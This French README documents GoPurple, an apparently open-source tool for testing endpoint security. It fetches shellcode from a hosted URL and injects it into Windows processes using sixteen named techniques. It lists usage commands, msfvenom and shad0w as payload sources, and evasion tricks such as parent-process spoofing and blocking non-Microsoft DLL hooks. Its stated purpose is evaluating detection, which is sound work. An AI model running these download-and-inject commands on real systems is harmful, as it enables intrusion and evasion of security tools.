
Encore un exécuteur de shellcode composé de différentes techniques pour évaluer les capacités de détection des solutions de sécurité des points de terminaison.
Ce projet est une simple collection de diverses techniques d'injection de shellcode, visant à rationaliser le processus d'évaluation de la détection des endpoints, tout en se lançant le défi de plonger dans le monde de Golang.
1 - Nécessite go installé.
2 - Compilez l'application depuis le répertoire du projet : go build. Définissez GOOS=windows si le système de build n'est pas Windows.
_____ _
/ ____| | |
| | __ ___ _ __ _ _ _ __ _ __ | | ___
| | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
| |__| | (_) | |_) | |_| | | | |_) | | __/
\_____|\___/| .__/ \__,_|_| | .__/|_|\___|
| | | |
|_| |_| by @s3cdev
-a string
Program command line arguments
-b string
block DLL mode (nonms/onlystore for QueueUserAPC )
-p int
Process ID to inject shellcode into
-prog string
program to inject into
-t string
shellcode injection technique to use:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
URL hosting the shellcode
Un shellcode doit être généré, cela peut se faire avec des outils comme msfvenom ou shad0w. Ensuite, le shellcode doit être hébergé pour être téléchargé et exécuté à distance sur la machine distante. Pour plus de clarté, les démos ci-dessous illustrent différentes façons d'utiliser l'outil.
1 - Injection de shellcode avec la méthode BananaPhone + Shad0w comme générateur de shellcode

2 - Injection de shellcode avec la technique QueueUserAPC + Shad0w comme générateur de shellcode + usurpation de l'ID du processus parent (explorer comme ID parent) + lancement du processus par un parent usurpé contenant le shellcode (calc) + protection du processus contre les hooks DLL non signés, seules les DLL signées Microsoft peuvent donc hooker le processus.

3 - Injection de shellcode avec CreateFiber + msfvenom comme générateur de shellcode

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = seules les DLL signées par Microsoft peuvent hooker le processus
onlystore = seuls les processus des applications du Microsoft Store peuvent hooker le processus
12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
Tout le crédit va aux gars suivants pour leurs recherches, outils et inspiration formidables :
Merci à brimston3 pour son soutien et sa contribution.
(https://github.com/Ne0nd0g/go-shellcode)
(https://github.com/D00MFist/Go4aRun)
(https://github.com/BishopFox/sliver)
(https://posts.specterops.io/going-4-a-run-eb263838b944)
(https://github.com/C-Sto/BananaPhone)
(https://blog.xpnsec.com/protecting-your-malware)
(https://github.com/3xpl01tc0d3r/ProcessInjection)
(https://github.com/S4R1N/AlternativeShellcodeExec)
Ce projet est réalisé uniquement à des fins éducatives et de tests éthiques. L'utilisation de GoPurple pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de tout usage abusif ou dommage causé par ce programme.